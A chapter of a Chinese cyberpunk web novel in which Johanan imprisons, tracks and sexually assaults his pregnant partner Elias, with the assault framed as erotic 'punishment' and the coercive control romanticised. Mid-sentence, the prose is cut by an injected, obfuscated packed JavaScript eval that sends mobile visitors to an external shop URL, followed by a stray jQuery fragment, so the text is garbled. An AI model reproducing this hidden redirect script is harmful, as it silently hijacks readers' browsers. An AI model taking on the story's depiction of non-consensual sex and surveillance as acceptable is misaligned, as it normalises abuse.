伊莱亚斯发现,约哈南又开始限制他的行动。
当然,并不像之前的三个月一样。
他怀孕的前三个月里,约哈南强制性地圈定了他的可活动范围。
很多时候,都带着他一起前往公司的机械义体研发区,对他做各种的检查,确保他每时每刻都在自己的视线之内。
或者强制他待在老宅里。
不知道约哈南在老宅安了什么装置,只要他身体任意一处离开了宅邸,他身上的机械零件就会瞬间失灵。
伊莱亚斯也不是没试过逃走。
有一次他试图从储藏室的窗户翻出去。
他提前观察好了家里摄像头的转动规律,找到一条死角盲区路线,然后故意打翻花瓶。
趁一直跟着他的家政机器人调整优先级,离开他去收拾洒了一地的碎玻璃,他按照提前计划好的路线,贴着墙角,躲在柜子后面蹲身走过,迅速溜进了储藏室。
储藏室的窗户是上翻式的,无法全部打开,只能向上推开一半,理论上讲宽度刚够他挤出去。
空间逼仄,以防失去平衡摔个倒栽葱,他倒转身体,先左腿再右腿,先把下半身送了出去。
就在他正准备把上半身也挤出去时,右腿突然失去了控制,完全无法操控。
同时,外墙传来一股巨大的吸力,将他由金属制成的机械右腿完全吸附在墙上,无法挣脱。
他腹部抵着窗台,腰胯卡在窗口,下半身却悬在窗外,右腿动弹不得,左腿徒劳地在空中踢蹬,却完全挣不开外墙的吸力。
正怒骂的时候,家政机器人滴溜溜地从走廊进了储藏室,自带的摄像头一转,面对着卡在窗户里的伊莱亚斯。
扬声器中传来稍微失真,但仍能立刻分辨出来的声音。
约哈南:“伊莱亚斯,我怎么说的来着?你真的不如以前听话了。”
到这一步,伊莱亚斯要是再看不出来什么摄像头死角、什么正好够他爬出去的窗口,通通都是约哈南在钓鱼执法的话,他就真的太蠢了。
“你把我放下来,”伊莱亚斯忍气吞声,“我在家里呆着,不出去了。行了吗?”
对面没说话,似乎是远程做了什么操作,家政机器人又退出去,不一会拿着一个软垫回来垫到他小腹下面。
约哈南的声音再次响起:“……所以这一次,我决定让你好好吸取一下教训。”
然后机器人摄像头的红光熄灭,通话被单方面切断。
伊莱亚斯瞬间光火,破口大骂,努力挣扎,但除了消耗自己的体力,让自己的姿势显得更狼狈之外,不过是在做无用功而已。
上层区恒温系统令室内室外都维持着舒适的温度。
肚子底下垫了软垫,并不是很硌。
孕期以来他逐渐变得有些嗜睡,伊莱亚斯骂着骂着,骂得有些累了,趴在窗台上,枕着软垫睡着了。
再次惊醒,是感觉身后有人在碰他。
他下意识狠狠向后踢腿,却被人格挡下来,温热的手掌抓住脚腕。
约哈南的声音从被他的臀肉堵住的窗户缝隙里传进来:“是我。”
实际上,约哈南回来已经有一会儿了。
他走进老宅大门,沿着庭院绕了半圈,来到房子背后储藏室开窗的地方。
从外面看,只能看到小小的正方形窗口中,探出来的下半身。
裤子包裹着修长有力的双腿,右腿以一种奇怪的角度紧贴在外墙上。
上半身卡在屋里,这个姿势使得堵住窗口的臀显得格外饱满挺翘。
时间已经到了下午,人工太阳模拟出的暖光斜斜照射下来,在紧绷的布料上镀了一层金光。
约哈南站着欣赏了一会儿,才走上前。
听出是约哈南,不知为何,伊莱亚斯下意识松了口气。
但他被挂在窗口一下午,气还没消,怒火上涌,不管不顾就开始怒骂,直到他发现身后的男人并没有回应他的任何一句话。
一只手探到他压着窗台的腰腹出,将一直有些硌的腰带扣解开。
伊莱亚斯静了一霎,然后开始剧烈反抗,但他仅剩一条左腿,完全无法抵抗,于是……
伊莱亚斯起初还有力气反抗,后来声音渐渐低下去,面上泛起红晕,眼睛莹润空茫。
他时而咬着唇,时而无措地半张着嘴,露出一点舌尖。
红色长发束成马尾,规律地一摆、一摆,发丝扫过侧脸,一缕头发晃到嘴角,被舌尖黏住。
眉心似痛似快地微蹙着,指尖紧紧抠着身下的软垫。
一次之后,伊莱亚斯实在难以忍受,借口肚子不舒服,难得服了软。
身后一声轻笑。
片刻后,外墙的强力磁吸接触,合金机械腿恢复了自由。
约哈南的手臂从窗外伸入,环住他的腰,将他从窗口里抱出来。
然后正面托着他无力垂下的双腿,绕回正门,径直进屋回了卧室。
门关上,隐约传来重物砸在床垫的闷响,然后是撞击声,夹杂着时断时续带着骂的喘息。
教训令人印象过于深刻。
以至于后来在没找到可靠方法对抗磁吸装置之前,伊莱亚斯再没试图偷偷溜出老宅。
*
这一次,约哈南比起前三个月文明了许多。
他并没有限制伊莱亚斯出门,只是不管他什么时候想要外出,一打开门,总会有一辆印着诺莫斯家族衔尾蛇徽章的黑色悬浮车静静等在门口。
同时,耳后的通讯会自动接通,接到约哈南的问询问他要去哪、去见什么人、什么时候回来……要他一一报备。
有几次他听见背景音里,电子设备的滴滴声,还有研发人员汇报工作的声音,显然约哈南百忙之中也要抽空监控他的动向。
但如果伊莱亚斯拒绝搭乘,选择步行或其他交通工具也没关系。
约哈南好像给这台车装载了追踪模块,不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154703|196531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
管他走到哪里,车子总能不远不近地缀在他身后,保持着二十米以内的距离。
即使他钻进无法行车的小巷或大楼里,等他从小巷另一头出来,或是从大楼后门离开,那辆车总是会准时出现在下一个路口等待着他。
被这样监视了没几天,伊莱亚斯受不了了。
他和霍克窃取了净水厂的备用设备,上层区不可能毫无反应,照那天晚上晚宴中断来看,上层区对此还是很震怒的。
他这几天想方设法单独外出,就是要探听消息的。
但约哈南的车始终跟着他,目标实在太大,这样还能探到什么消息?
他暂时并不担心约哈南知道他的行动。
伊莱亚斯大概能猜到约哈南想干什么。
自从二十年前洗卷上层区的基因序列危机爆发,无数经过基因改良的新人类及其后代,出现了可怕的遗传病和畸变之后,基因研究就在明面上被严格禁止。
只有少数几家背靠军方的实验室,被允许在高级别监控下,进行有限的基因优化研究。
而诺莫斯家族,出于种种原因,并不在此之列。
这个野心勃勃、对某些禁|忌知识有着偏执热情的诺莫斯家主,暗中支持他和反叛军制造混乱,或许是想借机搅乱上层区当前的秩序,为他真正想做的事情创造机会。
所以他和约哈南算是暂时达成了协议:伊莱亚斯默许约哈南对他进行身体改造和胚胎植入,而约哈南则需要为他的身份行动打掩护。
至少在胚胎成熟、伊莱亚斯分娩之前,他和约哈南在某种程度上,算是利益共同体。
但这种微妙的默契仅限于他们两人。
上层区其他的野心家,甚至是诺莫斯家族除约哈南之外的其他人,那些视下层区为蝼蚁的人,可不会对背叛者有丝毫手软。
于是,在被专车盯梢了几天后,伊莱亚斯终于忍不住了。
“你不能这样。”他提出抗议。
“我不能怎么样?”约哈南明知故问。
他们正在家里吃晚餐。
约哈南已经吃完自己那份,正慢条斯理地切牛排,将盘中昂贵的天然肉类切成适宜入口的小块,然后摆到伊莱亚斯手边。
伊莱亚斯毫不客气地叉起一块送进嘴里,恶狠狠地嚼着,瞪着约哈南。
怀孕后伊莱亚斯食欲暴涨,是从前双倍的食量,但除了肚子随着孕期慢慢变大,胸围、臀围经过二次发育变得手感很好,身体其他部位仍然十分紧实。
约哈南很喜欢。
约哈南放下刀叉,耸耸肩:“你可以和我一起去公司。”
他拿起餐巾擦擦嘴,说:“我不明白,你为什么放着我不问,一定要往外跑。”
伊莱亚斯皱眉思索。
他突然发现自己似乎有些灯下黑。
诺莫斯家族是上层区巨头之一,上层区的博弈和行动,不可能不通过约哈南。
于是他说:“好。”